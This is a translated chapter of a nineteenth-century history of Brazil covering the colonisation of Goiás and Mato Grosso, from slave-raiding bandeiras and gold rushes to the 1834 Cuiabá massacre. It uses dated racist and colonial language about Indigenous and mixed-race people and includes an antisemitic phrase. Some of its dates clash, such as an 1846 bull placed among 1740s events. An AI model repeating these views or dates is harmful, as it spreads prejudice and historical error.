História da colonização do Centro Oeste e Norte do Brasil até o século XIX

Gottfried Heinrich Handelmann (1827 – 1891)

História do Brasil

Traduzido pelo Instituto Histórico e Geográfico Brasileiro. (IHGB) Publicador pelo MEC, primeiro lançamento em 1931.

TOMO II

CAPÍTULO XI

A capitania geral de São Paulo (continuação)

Os dois mais novos Estados filiais de São Paulo, que o rio Paraná separa do Estado paterno, as províncias de Goiás e Mato Grosso (com a sua vizinha do Norte, o Alto Amazonas, e parte do Pará) constituem para o Brasil aquela parte a que na América do Norte se costuma chamar o "longínquo Oeste"; acham-se ainda quase inteiramente no seu estado primitivo natural e no mais baixo grau de cultura das regiões do interior; e, portanto, por maior que seja o seu interesse para o naturalista, pouco material oferecem para o historiador, pois até hoje aqui não há desenvolvimento histórico.

O que temos para narrar a seu respeito limita-se quase que exclusivamente a seu descobrimento e tomada de posse. Favorecidos, como Minas Gerais, em tesouros minerais, a princípio ambos estes Estados exerceram grande força de atração; numerosos bandos de pesquisadores de ouro, nômades, espalharam-se ali; porém, pouco a pouco, cessou o movimento das lavagens de ouro, com isso também a imigração, porque somente se baseava na excepcional atração do ouro, não sobre excesso de população das províncias costeiras; os poucos pesquisadores de ouro, que ali ficaram domiciliados, não se relacionavam com o restante da população do Brasil: estabeleciam-se no interior em grupos isolados.

A província de Goiás, assim chamada pelo nome de uma tribo dos seus habitantes, índios primitivos, compreende uma superficie de 25.000 léguas quadradas, com atualmente mais ou menos 180.000 almas, na maioria de cor, com sangue africano ou índio. Ela pertence, em toda a sua extensão, às terras altas do interior brasileiro, e a sua feição é, por isso, inteiramente, a de uma altiplanicie, em parte coberta com matas virgens, em parte com campos e estepes. É atravessada por diversas cadeias de montanhas baixas, assim como pequenas serras a separam, a leste, de Minas Gerais, Bahia, Piauí e Maranhão. Dois grandes rios têm as suas nascentes nas terras de Goiás. O terço sul da província contém as nascentes mais setentrionais do Paraná (Prata); porém em direção norte se birfucam os grandes rios formadores do Tocantins: o próprio Tocantins e o Araguaia, que finalmente se reúnem na fronteira norte num só rio, que deságua além, ao norte, no golfo do Pará.

Foi Goiás descoberta por uma das bandeiras de paulistas que caçavam escravos índios em toda parte no sertão: não sabemos quando, todavia, antes de 1670, quem primeiro ali entrou foi Manuel Correa, vindo de São Paulo, e regressou com rica presa de homens. Nas suas pegadas seguiu, cerca do ano de 1680, um compatriota, Bartolomeu Bueno da Silva, que os índios alcunharam de "velho diabo", Anhan-güera; e dessa alcunha se mostrou digno, esta vez também, o experimentado caçador de homens: pela força e pela astúcia soube a tal ponto atemorizar os indígenas de Goiás, que a ele se entregavam em grandes bandos e o seguiam para a escravidão em São. Paulo.

Ambos estes aventureiros, Manuel Correa e Bueno da Silva, levaram consigo dessas expedições também algum ouro, parte em pó, parte em pepitas, com as quais as índias costumavam enfeitar-se; todavia, era tão pouco que não se deu maior importância à coisa.

Somente quarenta anos depois, quando no interior foram descobertas as minas de Mato Grosso, de novo se deu atenção a essas amostras de ouro; o então capitão-general de São Paulo, Rodrigo César de Meneses (5 de setembro de 1721 e seguintes), concitou a gente para uma pesquisa de minas nas terras de Goiás; e o filho do segundo dos acima mencionados descobridores, o jovem Bartolomeu Bueno da Silva, Anhangüera, que havia acompanhado seu pai na viagem primitiva, como menino de doze anos, ofereceu-se para conduzir a expedição.

Acompanhado por seu genro, João Leite da Silva Hortiz 143, dois religiosos e uns duzentos aventureiros, ele penetrou, cerca do ano de 1722, em Goiás, onde em breve descobriu muitos riachos e rios contendo areias auríferas; os homens queriam fazer pouso logo ali, porém o chefe recusou, obstinado, a requerida licença; ele queria primeiro investigar um distrito onde antigamente havia estado com seu pai, e onde supunha encontrar os mais ricos tesouros; todavia, as suas recordações se haviam quase apagado no longo período decorrido, e, assim, durante muitos anos, andou errante a expedição, sem alcançar a almejada meta. Estas eternas caminhadas fatigaram e desanimaram pouco a pouco os aventureiros, ao passo que Bueno, com obstinação de ferro, persistia nos seus planos; produziram-se continuamente violentas altercações e, se os religiosos não pregassem a paz, ter-se-ia chegado mesmo ao derramamento de sangue. Finalmente, o bando dispersou-se por todos os lados; alguns deles construíram jangadas e navegaram pelo Tocantins abaixo, e foram ter ao Pará; outros, isolados, caíram às mãos dos selvagens; Bueno, afinal, com os poucos restantes dos seus fiéis, depois de três anos de ausência, alcançou, de novo, a cidade de São Paulo, sem resultado algum e de mãos vazias (1725).

Este infeliz desfecho, contudo, não enfraqueceu a confiança pública no experimentado sertanista, nem a dele mesmo em si próprio; o capitão-general Meneses declarou-se pronto a conceder-lhe os meios para uma nova expedição, e, já no ano seguinte, 1726, Bueno se pôs de novo em marcha para Goiás, com um numeroso acompanhamento.

Desta vez foi ele melhor sucedido; depois de uma penosa marcha de seis meses, alcançou a região onde atualmente está Goiás, capital da província; descobriu ali ricas lavras de ouro; em breve caíram em suas mãos alguns índios de idade avançada, que se lembravam ainda de seu pai, o Anhangüera, e souberam indicar o seu antigo acampamento, a pequena distância; também se encontrou ali rico despojo, e em pouco tempo era tal a quantidade ajuntada, que a expedição pôde regressar em triunfo a São Paulo, com duas arrobas de ouro.

Aqui havia, entretanto, tomado as rédeas do governo o novo capitão-general, Antônio da Silva Caldeira Pimentel (27 de agosto de 1727 e seguintes), que, de resto, mostrou não menor interesse pelo sucesso de Bueno que o seu predecessor; ele despachou logo em seguida tropas, a fim de tomarem posse formal do território recém-descoberto, como dependência de sua capitania, e ali manter a ordem; porém Bueno foi nomeado, primeiro provisoriamente, depois de modo definitivo, por um decreto real de 14 de março de 1731, subgovernador de Goiás, e revestiu-se dessa dignidade até à sua morte (faleceu a 19 de setembro de 1740); além disso, ele recebeu ainda como recompensa alguns privilégios, cujo gozo se estendeu mais tarde, por uma carta real de mercê, de 18 de maio de 1846, ainda a seu filho, neto e bisneto.

As minas de Goiás tornaram-se então o alvo para onde corriam muitos aventureiros de gênio andejo, e aqui acudiu a mesma onda de variegada gente, vinda de todas as partes do mundo, reproduzindo-se as mesmas cenas selvagens de anarquia ilimitada, como pouco antes ocorreram em Minas Gerais; todavia, o espetáculo aqui não foi tão grandioso.

Assim como era menor a extração das minas, também a imigração não foi tão numerosa, e vice-versa, e espalhou-se numa superfície ainda muito mais vasta, pois rio abaixo, ao longo do Tocantins e do Araguaia, sempre se foram descobrindo novas lavras, logo exploradas.

Assim, aqui só houve perturbações locais, que para a história não têm significação. Também as guerras contra os índios, inevitáveis à tomada de posse do país, não tiveram grande importância; apenas mencionamos que a raça de índios de Goiás, à qual deve a província o seu nome, foi quase que exterminada, ao passo que um não pequeno número de outras tribos, em parte meio civilizadas e convertidas, em parte na primitiva selvageria, subsistem ainda e, ora amigáveis, ora hostis, mantêm com as colônias brasileiras relações de comércio de trocas.

Goiás obteve muito cedo uma organização independente; constituído, havia apenas 20 anos, em comarca de São Paulo, foi, por decreto real de 8 de novembro de 1744 e 9 de maio de 1748, elevado a capitania geral, e já no ano seguinte o primeiro capitão-general tomava as rédeas do governo provincial. Igual transformação se fez nas instituições eclesiásticas; primitivamente, havia-se incluído Goiás na diocese de Belém (Pará), mas, já a 6 de dezembro de 1746, uma bula papal estabeleceu aqui uma prelazia própria, que, em geral, era governada por bispos titulares, finalmente recebendo mesmo o título pleno de bispado (3 de novembro de 1827).

Ambas as autoridades superiores, civil e eclesiástica, logo a princípio estabeleceram a sua sede no território em que o velho Bueno havia armado o seu acampamento, no qual o Bueno mais novo havia fundado as primeiras bateias, e onde, desde então, existia uma aldeia, de Sant’Ana, que, a 11 de fevereiro de 1736, recebeu os foros de vila Boa de Goiás, e obteve os de cidade (cidade de Goiás) a 18 de setembro de 1818. Ao que parece, para escolha do local só se tomou em consideração o solo aurífero da vizinhança, pois, quanto ao mais, a cidade de Goiás, sempre subsistindo como capital e ao mesmo tempo a única cidade da província, se acha num distrito pouco fértil e afastado de qualquer rio navegável, o que muito dificultou o seu comércio e desenvolvimento.

Desde que Goiás teve um governo próprio, cuidou-se naturalmente de estabelecer ali mais firme organização política do que antes existia, e, sendo as autoridades investidas de extraordinários poderes e havendo recomendação da mais extrema severidade, conseguiu-se, pouco a pouco, remover dali os piores abusos. Todavia, ficou ainda muito a desejar; pois, de um lado, com as grandes distâncias em que se espalhava a reduzida população, tornou-se impossível ao braço da autoridade atingir todos os criminosos; por outro lado, não costumava a coroa dar especial atenção à escolha de funcionários para essas províncias situadas tão distantes, quando, entretanto, justamente aqui se impunha a necessidade dos homens mais capazes. Não era melhor a situação quanto ao clero, que até cá chegava; eram também, em geral, pessoas de muito duvidoso valor, cujo exemplo só podia atuar desfavoravelmente sobre a consciência moral e religiosa dos leigos; além do mais, eram muito escassos os princípios de instrução pública, e só desde um decênio se tem tratado disso; assim, em moralidade e cultura, a população de Goiás permaneceu no mais baixo grau.

No que, finalmente, diz respeito ao desenvolvimento material da província, esta tem não pequena semelhança com a de Minas Gerais. A princípio, era muito grande a extração do ouro e acudiam ali tantos imigrantes (uma vez chegou o número de escravos, que trabalhavam nas bateias, a 34.500), que se declarou a fome; porém, pouco a pouco, embora as entranhas da terra escondessem ainda grandes tesouros em metais, todavia a crosta se foi esgotando e então os trabalhos de mineração cessaram, e com eles cessou a imigração; a população diminuiu, pois muitos dos pesquisadores de ouro regressaram a seus antigos lares, e extinguiram-se os rebanhos de escravos, que não se tinham meios de renovar. Em vez do bem-estar de até então, estabeleceu-se a mais extrema miséria, da qual não se pôde ainda reerguer Goiás.

Daí em diante, dedicaram-se os habitantes, em geral, também à criação de gado ou à lavoura; mas, pela grande distância, é-lhes quase impossível vender os seus produtos; com isso falta o melhor incitamento para ativar a indústria e, com todo o trabalho, só se consegue arrastar uma vida miserável.

Em suma, no interior do Brasil, em Goiás (igualmente em Mato Grosso), acha-mo-nos em presença de uma triste condição de interior remoto; aqui não é só o caso do rápido estádio de transição, movimentado, como nos Estados Unidos da América do Norte, porém é uma situação inteiramente estável, consolidada, e que só no remoto futuro nova corrente ininterrupta de imigração poderá remediar. Nestas circunstâncias, falta à província de Goiás evidentemente uma história própria; se alguma coisa a história provincial tem para narrar, são apenas guerras de índios, por meio das quais, segundo o velho processo, os prisioneiros ficavam sendo escravos; são, depois, expedições de pesquisadores de ouro, e são perturbações locais da ordem pública, que, nos tempos mais recentes, foram, além disso, simples imitação dos distúrbios das províncias vizinhas, por si mesmos destituídos de interesse. Contentamo-nos, pois, em destacar, destes fatos todos, só um resumo dos acontecimentos que acompanharam a transformação moderna do governo provincial.

Quando, no ano de 1821, as províncias brasileiras, uma após outra, se declararam por uma organização constitucional e por toda parte se quebrava o poder do lugar-tenente da coroa portuguesa, também Goiás não ficou atrás; o último capitão-general teve que entregar o governo a uma junta administrativa, e esta, por sua vez, cedeu-o logo depois a uma junta provisória, cujos membros, nomeados pelo príncipe-regente, mais tarde Pedro I, permaneceram mais de dois anos no cargo (10 de abril de 1822 a 14 de setembro de 1824). Daí em diante, ali está à testa do governo, como nas outras províncias, um presidente nomeado pela coroa, assistido a princípio por um Conselho Geral, porém desde 1835 por uma Câmara Legislativa.

* * *

Ao largo da fronteira oeste de São Paulo e Goiás, limitada ao norte pelo Alto Amazonas e Pará, a oeste e sul pelos antigos Estados coloniais espanhóis, estende-se a última e maior província do Brasil, Mato Grosso, compreendendo cerca de 60.000 léguas quadradas de área. O nome Mato Grosso define já de certo modo a feição preponderante da região; todavia, essa feição é só parcial, pois é claro que, na enormidade da sua extensão, o seu aspecto não pode ser uniforme; uma rede de cadeias de montanhas e de rios se estende ali, tecida, por um lado, pela penetração dos contrafortes do alto interior montanhoso brasileiro, por leste e, doutro lado, pela dos declives da grande cordilheira dos Andes, por oeste, e as suas vertentes despejam ao sul, para o Prata, as águas da bacia do Paraguai; e para o norte estão as bacias dos afluentes do Amazonas, os rios Xingu, Tapajós e Madeira.

Todo esse território até agora está explorado e conhecido somente nos seus contornos gerais, e, em grande parte, é ainda um Estado livre para as tribos selvagens de índios, ao passo que a colonização brasileira se limita a alguns pontos espaçados, a algumas colônias agrícolas ou postos militares; o total da população, dita civilizada, consta apenas de 60.000 almas, segundo outras notícias ainda menos, na maioria de mestiços, nos quais o sangue dos negros predomina sempre mais sobre o dos brancos e dos índios.

Os princípios históricos da província de Mato Grosso têm mais ou menos a mesma antiguidade da história de Goiás. Também aqui foram as bandeiras paulistas as primeiras que nas caçadas aos índios descobriram o território e o percorreram, e já no século XVII citam-se alguns nomes; contudo, para a colonização, o primeiro que alcançou importância foi Pascoal Moreira Cabral, pelo fato de haver ele, em 1718, achado ouro nas nascentes do Paraguai, na vizinhança do rio Cuiabá.

Dentro de pouco tempo, reuniu-se em torno dele um pequeno número de paulistas aventureiros, que andavam errantes; diversas bateias foram iniciadas, e todos os arredores de Cuiabá deram tão ricos resultados que, segundo se diz, no correr de poucos meses se obtiveram algumas centenas de arrobas de ouro.

Imediatamente foi despachado um mensageiro, com a notícia desse importante descobrimento para São Paulo; todavia, pela grande distância, muito tempo ele gastou na viagem de ida e volta, e assim ficaram os pesquisadores de ouro de Cuiabá, por muitos anos, entregues a si mesmos, somente de tempos a tempos reforçados pela chegada de sertanistas isolados.

É fácil imaginar que, nestas circunstâncias, o estado de coisas fosse um tanto selvagem; todavia, a falta de ordem não era tão grande ali, como em outros lugares; os pesquisadores de ouro, um punhado apenas, cercados por todos os lados de tribos de índios inimigos, sentiam a necessidade de, de certo modo, permanecer unidos; escolheram primeiro Pascoal Moreira Cabral para seu chefe, a 8 de abril de 1719; a este sucedeu mais tarde no cargo Fernando Dias Falcão, em 6 de janeiro de 1721, e ambos estes chefes conseguiram em certa medida manter a tranqüilidade e uma espécie de ordem pública.

Nesse ínterim, havia chegado o mensageiro de Cuiabá a São Paulo, onde, com as suas narrações dos tesouros achados, estimulou ao mais alto grau a sede de ouro e amor de aventuras dos paulistas; uma expedição após outra se pôs em marcha para a nova terra do ouro, e, sob mil dificuldades, o seu pé abriu nas selvas a trilha, que depois continuou sendo a estrada usual de caravanas.

Primeiro, tomando pelo Tietê rio abaixo, entravam no rio principal, no Paraná, e daí tomavam por úm afluente ocidental, o rio Pardo, que seguiam a montante, quase até às nascentes; agora as canoas eram transportadas, num trecho de algumas léguas, até às nascentes do Taquari, onde reembarcavam e iam alcançar o curso do Paraguai, e ainda tinham, finalmente, que subir a remo o São Lourenço e, por último, o rio Cuiabá; cansativa viagem, na qual sofriam as maiores privações e padecimentos, pois não só era preciso desviarem-se de inúmeras cascatas e corredeiras e, às vezes, navegar contra a corrente de rios caudalosos, mas também era preciso estar continuamente alerta contra a agressão de inimigos; muitas tribos poderosas de índios, entre as quais os Caiapós, os Paiaguás e os Guaicurus, tão destros a cavalo como nas canoas, foram as mais famosas, tornavam toda a região mal segura; diversas vezes eles atacaram e aprisionaram as caravanas no rio, com grandes flotilhas de canoas, como em 1725, quando, entre mais de trezentos viajantes, só três pretos e dois brancos escaparam da carnificina; assim também, em 1730, quando caiu às mãos dos selvagens vencedores um transporte de sessenta arrobas de ouro, que eles dissiparam no vizinho Paraguai espanhol; assim ainda aconteceu de novo em 1732, 1743, etc.

E, se os paulistas, por seu lado, conseguiam infligir sangrentas derrotas aos inimigos (1730, 1732, 1736, etc), todavia não conseguiram nunca subjugar completamente esses povos selvagens, nem foram de longa duração os ajustes de paz e de amizade que eles trataram com alguns de seus caciques; mesmo pelo contrário, o governo brasileiro até hoje tem tido repetidamente que combater contra os indígenas, na região das nascentes do Paraguai.

Voltemos, porém, a Cuiabá. Por esse mesmo mencionado itinerário derramou-se, de 1721 em diante, uma corrente humana contínua de São Paulo para Cuiabá; a colônia ficou mais poderosa, cresceu a exploração das bateias; porém as condições interiores pioraram, pois, desde que o crescimento da população dera o sentimento de mais segurança contra os inimigos, cessou a antiga concórdia.

Ao que parece, aqui também, como em Minas Gerais, se estabeleceu a rivalidade entre paulistas e forasteiros, que dois homens influentes, os irmãos Lourenço e João Leme da Silva, naturais de São Paulo, todo o possível fizeram para atiçar; sustentados por um partido numeroso, lançaram mão de toda espécie de violências ; todavia, em breve veio de São Paulo um pequeno destacamento, que pôs termo aos seus abusos; Lourenço tombou morto na peleja, João foi preso e, mais tarde (1724), executado na Bahia.

Com isso a incipiente luta de partido foi abafada em germe, ao passo que, por outro lado, pequenas perturbações da ordem e arruaças locais ainda ocorreram por muito tempo, parte pelo gênio inculto do povo, parte pelas extorsões violentas dos funcionários.

Nesse ínterim, o capitão-general de São Paulo, Rodrigo César de Meneses, a cuja jurisdição pertencia a nova terra do ouro, tomou a peito a organização da mesma nos seus variados aspectos; finalmente, em obediência a uma ordem régia, pôs-se ele próprio a caminho para lá, e alcançou Cuiabá a 15 de novembro de 1726, tendo-se demorado mais de um ano. Nesse tempo, todo o distrito de minas adjacente foi organizado em comarca, e foi designada uma povoação para ponto central da mesma, que já florescia na vizinhança de uma lavra excepcionalmente rica, descoberta em 1722 por Miguel Sutil, de Sorocaba (São Paulo); Meneses concedeu a esse lugar foros de vila, com o nome de Vila Real de Bom Jesus de Cuiabá; atualmente, desde que, a 19 de setembro de 1818, recebeu os foros de cidade, é conhecido simplesmente por cidade de Cuiabá144.

À comarca paulista de Cuiabá juntou-se em breve uma irmã-gêmea, a comarca de Mato Grosso. Como os pesquisadores de ouro pouco a pouco se foram espalhando além, pela região das nascentes do Paraguai, também alcançaram alguns deles, na direção oeste, os vizinhos mananciais do rio Madeira; e ali, à margem do rio Guaporé, dois irmãos, oriundos de Sorocaba (São Paulo), Fernando e Artur Pais de Barros, descobriram em 1734 ricas lavras de ouro, que em breve receberam tão considerável afluência de povo, que aqui, nas selvas remotas, irrompeu a fome, e, antes que de Cuiabá chegassem os víveres, muitos morreram literalmente de fome.

Fundou-se então às margens do rio Guaporé, no meio de contendas interiores e, ao mesmo tempo, de guerra contra tribos de índios inimigos, uma série de colônias, entre as quais uma em breve obteve a supremacia; por causa de sua bela situação, teve, a princípio, o nome de Pouso Alegre, depois de Vila Bela (19 de março de 1752), nome que, desde 17 de setembro de 1818, mudou para cidade de Mato Grosso; desde o princípio, era tida como cidade principal do novo distrito de minas e sua organização em comarca, com o governo próprio, a coroa a ordenou a 21 de agosto de 1747.

A comarca de Mato Grosso, naturalmente desde a sua fundação, entrou em estreitas relações com a sua vizinha Cuiabá; porém, nos anos seguintes, pelo espírito empreendedor de alguns particulares, foi-lhe aberta segunda comunicação comercial, muito mais distante, a do Pará: Manuel Félix de Lima, natural de Portugal, e com ele diversos compatriotas e alguns paulistas, formaram uma expedição, que podia contar, ao todo, com os negros e os índios aliados, umas 40 pessoas; em 1742, navegaram pelo rio Guaporé, depois, descendo o rio Madeira, passaram pelos aldeamentos de indígenas, passaram pelas missões espanholas da margem ocidental, onde os jesuítas missionários lhes deram as boas-vindas e hospedaram amigavelmente os viajantes.

Assim chegou a expedição ao curso principal do Amazonas e, por ele, à cidade de Belém (província do Pará), de onde Manuel Félix de Lima se dirigiu a Lisboa, para exigir a recompensa de seu descobrimento. Porém, um de seus companheiros, o português Joaquim Ferreira Chaves, tomando pelo Tocantins, através de Goiás, via Cuiabá, regressa a Mato Grosso, para dar informação do que havia sucedido. Na verdade, ouro ele não havia achado em caminho; não obstante, a notícia era de máximo interesse para os colonos de Mato Grosso. Visto serem tão demoradas e penosas as relações comerciais, via Cuiabá, com São Paulo, pareceu-lhes desejável entabular um comércio de permutas com as vizinhas missões espanholas, o qual podia servir de auxílio mútuo; e, para esse fim, já nos anos seguintes, diversas expedições seguiram pelo rio Guaporé abaixo.

Todavia, o governo colonial espanhol em Santa Cruz de la Sierra (Bolívia) se opôs a essas tentativas; logo a princípio, repreendeu os jesuítas pela acolhida amigável que eles haviam proporcionado aos primeiros visitantes brasileiros e, quando agora continuavam a vir, as suas desconfianças cresceram ainda mais; no espírito antiquado da política colonial exclusivista, todas as relações, pelo menos qualquer trato comercial, foram proibidas do modo mais estrito.

O condomínio dos rios de fronteira, Guaporé e Madeira, não se pôde naturalmente impedir aos brasileiros, por mais que se fizesse. E assim esses rios se tornaram importantes vias comerciais; primeiro, no ano de 1749, foi tentada do Pará a viagem rio acima para Mato Grosso; depois, a caravana anual seguia por esta via fluvial — uma viagem de 10 meses; porém o transporte de mercadorias era, entretanto, por esta via, mais fácil e menos dispendioso que de São Paulo.

Assim se fazia durante trinta anos, até que, cerca de 1780, duas poderosas tribos de índios da bacia do Amazonas, os selvagens Muras e Mundurucus, interromperam completamente por muitos anos esse tráfego, por suas contínuas hostilidades (cap. VII). A antiga via fluvial do sul, e uma recentemente construída estrada, partindo do Rio de Janeiro, de novo obtiveram a preferência, e são, até aos dias de hoje, para o comércio com Mato Grosso, quase que as exclusivas vias de comunicação.

Quanto ao mais, na organização de ambos os distritos de minas, de Cuiabá e Mato Grosso, eles, a princípio, como já se disse, foram independentes um do outro e subordinados ao capitão-general de São Paulo, como comarcas, ao passo que, por outro lado, em matéria eclesiástica, eram compreendidos na diocese do bispado de Belém (Pará).

Todavia, isso acabou em breve: uma bula da Santa Sé, de 6 de dezembro de 1846, reuniu ambos os territórios numa só diocese autônoma, que, a princípio governada por simples prelados e bispos titulares, desde 3 de novembro de 1827 recebeu o título pleno de bispado.

O mesmo aconteceu no sentido político, pois, por um decreto real, de 9 de maio de 1748, ambas essas comarcas fundiram-se numa só província, independente de São Paulo, com o nome de capitania geral (província) de Mato Grosso. A autoridade superior eclesiástica estabeleceu sua sede, desde o princípio, na cidade de Cuiabá; pelo contrário, o lugar-tenente do rei deu a preferência à cidade de Mato Grosso (Vila Bela), situada mais a oeste, provavelmente por estar ali mais perto das fronteiras do império colonial espanhol; somente no ano de 1820, trasladou-se o governo provincial civil para Cuiabá, a qual, desde então, reuniu em si todos os atributos de uma capital de província.

Da história da província de Mato Grosso, nestes últimos cem anos, pouco há para relatar. Mencionamos somente que, sobretudo quando as coroas de Espanha e Portugal estavam em guerra uma com a outra, também ela teve repetidas vezes que sustentar pequenas lutas de fronteira com os vizinhos espanhóis da atual Bolívia e Paraguai, como aconteceu nos anos de 1762-1763, 1777, 1801; e, de fato, centralizaram-se os combates, sobretudo, em ambas as fortalezas brasileiras de fronteira, a oeste contra o forte do Príncipe da Beira, a princípio construída no sítio de uma missão espanhola abandonada, à margem do Guaporé, em 1760, reconstruída em 1776, e, ao sul, contra o forte de Nova Coimbra, fundado em 1775, à margem do Paraguai. Porém, aqui, nas extremas fronteiras de ambos os impérios coloniais, se dispunha, de ambos os lados, tanto para ataque como para defesa, somente de mui escassos recursos; e se se conseguia, uma vez ou outra, algum pequeno sucesso, não era tomado em consideração nas negociações de paz, não tinha efeito durável. Mais importantes foram os acontecimentos do ano de 1825; então, durante a guerra da independência hispano-americana, o governador de Mato Grosso, Manuel José Araújo e Silva, ali chamado por autoridades de tendências realistas, ocupou a província de Chiquitos (pertencente à Bolívia) e reuniu-a ao Brasil, o que sem dúvida alguma, teria provocado uma guerra com a Bolívia, se o gabinete do Rio de Janeiro não houvesse desaprovado a conduta arbitrária do lugar-tenente e ordenado a restituição de Chiquitos, em 6 de agosto de 1825.

O desenvolvimento interior da província é de muito pouco interesse. Não repetiremos aqui o que já narramos a propósito de Minas Gerais e Goiás, isto é, como, com a gradual decadência das lavras de ouro, também o bem-estar material de Mato Grosso decaiu, e a imigração, tão concorrida no primeiro decênio, cessou completamente. Na verdade, a coroa procurou, de certo modo, remediar a isso, pois decretou, a 20 de novembro de 1797, que todos os criminosos, condenados à deportação, deveriam ser conduzidos exclusivamente ao Mato Grosso e Alto Amazonas; porém, mesmo esse reforço, de duvidoso valor, foi de pouca monta, e assim a população, desde um século, aqui antes se tem reduzido do que crescido.

Também não repetiremos o que já dissemos em Goiás, sobre as condições de vida das selvas interiores, sobre o geral atraso moral e intelectual, condições que, com algumas variantes, são as do quadro que esboçamos, em capítulo precedente, sobre a terra e o povo do Amazonas.

Melhor do que todas estas descrições, um quadro vivo de história moderna caracteriza esse estado de coisas. O último capitão-general, Francisco de Paula Magessi Tavares de Carvalho, era da pior de todas as espécies, e havia sido nomeado para esse cargo só porque, na corte, se desejava ficar livre de seu incessante e descarado peditório; em caminho para lá, para assumir o governo, ele foi tudo devastando com o seu séquito, como se fossem uma quadrilha de salteadores; lá chegando, não se comportou melhor, e assim foi ele, ao início da revolução brasileira, ignominiosamente enxotado (1821).

Mato Grosso, daí em diante, reproduziu, em grandes e pequenas perturbações da ordem, os principais acontecimentos da época da revolução brasileira; contudo, só uma delas teve uma celebridade terrível.

Sabe-se como, no Brasil, depois da abdicação do imperador d. Pedro I, de 7 de abril de 1831, ainda por muito tempo se julgava dever recear o seu regresso e restauração à força; o governo publicou, por esse motivo, ordens de se estar alerta nas províncias, e recomendou que especialmente se vigiassem estreitamente os portugueses natos, que, na opinião pública, eram designados como secretos partidários de d. Pedro.

— "Então se formaram — citamos as notas do viajante alemão Helmreichen, — em Mato Grosso e, sobretudo, na capital, Cuiabá, dois clubes, um dos Zelosos da Independência, sob a presidência do deputado Manso, setembro de 1833, o outro dos Nacionais, sob a presidência do bispo; a agitação crescia cada vez mais; de uma feita, despertado por um bando de notívagos, apareceu o bispo a uma janela aberta, entre dois círios, e bradou: "Viva o dia 7 de abril! Morte aos restauradores!"

Nestas circunstâncias, tornava-se cada vez mais arriscada a posição dos portugueses residentes; suspeitos ao governo e à opinião pública, por motivos políticos, já eram, de resto, como detentores de todo o comércio, odiados pela população, por seu mercantilismo de judeus, invejados por sua riqueza.

Sem cessar, falava-se em trucidá-los, saqueá-los, enxotá-los; porém, em geral, os portugueses não acreditavam na realização de tais ameaças e descuidaram-se de tomar precauções; ainda mais se tranqüilizaram, quando uma primeira arruaça popular, na aldeia de Pilar, a 18 de maio de 1834, foi rapidamente reprimida pelas autoridades do lugar. Porém, a 30 de maio de 1834, estalou um sério motim popular na capital, Cuiabá.

Manso, um dos chefes, do povo, não estava presente; o outro, o bispo, esforçou-se debalde por atalhá-lo; ele implorava aos revolucionários que se contentassem em expulsar os portugueses residentes e que lhes concedessem o prazo de trinta dias para se retirarem. "Nem trinta horas", foi a resposta. O bispo retraiu-se, e começou a carnificina. Nem um só português opôs resistência; nem os filhos deles, nascidos no Brasil, ousaram defender os seus pais, e mesmo dizem que muitos também puseram mãos à obra; assim foram todos, uns após outros, mortos a tiro, como cães. O objetivo principal de todo o morticínio era roubar; devem ter sido roubados de 300 a 400 contos de réis, e muitas pessoas, que saquearam então as casas dos assassinados, com as faces untadas de preto, devem-se ter enriquecido com isso de tal modo, que, atualmente, são de posição importante.

A rapina e o assassínio duraram desde 30 de maio até agosto e setembro a dentro, em toda a província; como digno de nota, deve-se mencionar que as autoridades da vila de Diamantina, já em agosto de 1834, tiveram a coragem de prender o assassino de um português. Porém, então, reuniram-se em torno das autoridades todas as pessoas que possuíam bens, com o receio de que, depois dos portugueses, chegasse a sua vez; o levante foi dominado; e muitos dos culpados, isto é, dentre os mais pobres, ainda se achavam na prisão em 1847 *.

* * *

Temos concluído a nossa viagem circular através da história do continente brasileiro; percorrendo, uma após outra, cada uma das regiões, guiados pela história, achamo-nos no fim, novamente, diante da mesma situação de uma incipiente meia civilização, tal qual, a princípio, a encontramos, e de caminho, ora subindo, ora descendo, tivemos ensejo de observar os mais variados graus de cultura.

Assim, o Brasil, no que diz respeito à riqueza e à diversidade do desenvolvimento histórico, pode confiante colocar-se como segundo império gigantesco do Novo Mundo, ao lado da União Norte-Americana, e obtém mesmo a superioridade, visto que aqui um povo trabalhou, quase que sem auxílio estrangeiro algum, na obra da colonização!

* Sobre a luta contra os portugueses em Mato Grosso, v., do Visconde de Taunay, A cidade do ouro e das ruínas, São Paulo, Melhoramentos, 1927. (O.N.M.).

Outra, na verdade, será a resposta, se indagarmos da qualidade da solidez da obra da colonização, criada aqui e lá. Não é aqui o lugar de nos alongarmos em considerações desta ordem; todavia, apresentamos a chave da questão, comparando um com outro o andamento das coisas. A colonização anglo-germânica nos Estados Unidos foi inteiramente agrícola; ao passo que mandava na vanguarda, como batedores, o caçador, o mercador de peles e de índios, finalmente os colonos precursores, o grosso avançava em fileiras cerradas, da costa para o interior, desapiedados, como a fatalidade, calcando com pé de ferro tudo que lhe era estranho; pode aqui ou ali a vanguarda precipitar-se inconsideradamente demais, pode uma das alas da linha retardar-se; em conjunto, o movimento da colonização caminhou sempre com bem organizada coesão, em progresso ininterrupto, regular.

A colonização brasileira foi diferente: também ela foi, a princípio, exclusivamente agrícola, e limitou-se à costa; porém, logo que, depois de cento e cinqüenta anos de guerra, se firmou vitoriosa a posse da terra, ela se espalhou precipitadamente pelo interior do país; os negociantes de índios, os criadores, os caçadores de escravos e os pesquisadores de ouro espalharam-se por territórios enormes, e tanto se distanciaram dos agricultores, que estes se acharam impossibilitados de segui-los, ou de preencher os espaços vazios.

Todo o corpo principal, o grosso da colonização se dispersou, por assim dizer, numa linha de batedores que, cada um por si próprio, em rápido avanço, alcançou o sucesso; porém agora ficaram como postos perdidos, sem conexão regular, esperando somente do futuro, do progressivo aumento da população, o socorro.

Em suma, bastam duas palavras para resumir toda a comparação: a colonização norte-americana é uma realidade; a brasileira, até aqui, apenas um esboço.

